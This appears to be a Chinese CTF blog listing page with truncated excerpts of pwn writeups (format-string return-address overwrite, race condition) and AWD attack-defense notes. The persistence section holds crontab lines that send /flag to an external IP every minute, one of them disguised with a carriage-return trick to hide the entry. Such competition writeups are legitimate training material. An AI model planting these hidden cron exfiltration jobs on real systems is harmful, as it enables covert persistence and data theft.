2023-HWS-pwn复现
2023-HWS-pwn复现fmt前言这个题比较简单,但是如果不是自己去构造字符串用pwntools去构造的payload的链就会出现字节长度太长的可能性,于是我们可以修改一下脚本去达到利用。
这是格式化payload构造函数的参数解析,我们修改最后的write_size即可,有时候byte构造出来的不一定是最小的,可以使用不同的来试试
123456# 总共四个参数:# offset --> 偏移量# writes --> {被覆盖的地址:要写入的地址}# numbwritten --> 已经由printf函数写入的字节数,默认为0# write_size --> 逐byte/short/int写入,默认是byte,这样发送的字节少pad = fmtstr_payload(offset, {stack_ret:onegadget},write_size="short")
题解分析文件,可以发现存在格式化字符串漏洞,但是保护全开,就不能改got表,于是我们去修改返回地址即可。
1234567891011 ...
2022春秋杯冬季赛pwn-workpwn——WP
2022春秋杯冬季赛pwn-workpwn——WP前言一开始完全没得思路,还以为其中几个不能溢出到返回地址的溢出是漏洞点,后来看完赛后大佬们的WP才知道是条件竞争,虽然这次没打出什么名次,但是确实涨了不少姿势。继续努力。
条件竞争下面是一个很好的例子,能够很好的解释条件竞争。
1.0 银行提现当我们在手机端进行提现操作时,账户余额为500元,向服务器发送提现500元的请求,提现完毕后账户余额应当清零。那么如果在我提现成功和它进行清零事件的间隙时间里,我再次发送出提现500元的请求会发生什么呢?条件竞争利用成功的结果就是多了500大洋。
题解分析代码,发现是一个写入,读出,删除的数据的程序。然后再往更深处分析,发现写入的时候可以指定文件,也就是改变bss段的一个数据,后面就是打开这个文件并写入,但是在我们读取的时候发现最后还是会将那些文件的名字改为原来的那个,由于存在多线程执行过程,并且新创建的函数会暂停1s,这是出题故意留下的,否则这个函数一会就执行完了,我们来不及进行条件竞争的改写,现实环境一般是通过dos来降低受害机的执行速度,或者多次尝试,碰运气。
下面给出exp
1234567 ...
2.AWD-提权
AWD-提权查看版本号查看Linux内核版本命令cat /proc/version
uname -a
查看Linux系统版本的命令lsb_release -a
cat /etc/issue
1.AWD权限维持
AWD权限维持进程端口查看ps -aux 进程netstat -tuln #查看所有开放端口lsof -i :端口号 #查看指定端口开放情况
计划任务crontab -l #列出计划任务crontab -e #写计划任务crontab -r #删除计划任内务
定时发送flag1*/1 * * * * curl 116.63.162.119:7777/?flag=`cat /flag` #每分钟向模板发送flag
1(crontab -l;printf "*/1 * * * * curl 116.63.162.119:7777/?flag=\`cat /flag\`;\rno crontab for `whoami`%100c\n")|crontab -
下面是可以直接用在exp中的写入定时任务的模版
1234567def set_crontab(): My_ip = "127.0.0.1" port = "8080" flag_path = "/flag" crontab_p ...